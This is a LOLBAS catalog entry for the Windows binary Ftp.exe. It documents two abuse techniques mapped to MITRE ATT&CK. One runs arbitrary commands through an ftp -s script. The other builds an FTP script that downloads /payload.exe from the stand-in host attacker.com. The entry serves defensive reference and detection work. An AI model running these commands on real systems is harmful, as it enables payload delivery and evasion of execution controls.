Catalog LOLBAS

LOL · Binary

Ftp.exe

2 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Executes the commands you put inside the text file.

Use Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt
Context
user
Native
Execute
MITRE
T1202

Download

File Download Windows

Download

Use Spawn new process using ftp.exe. Ftp.exe downloads the binary.

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
Context
user
Native
Download
MITRE
T1105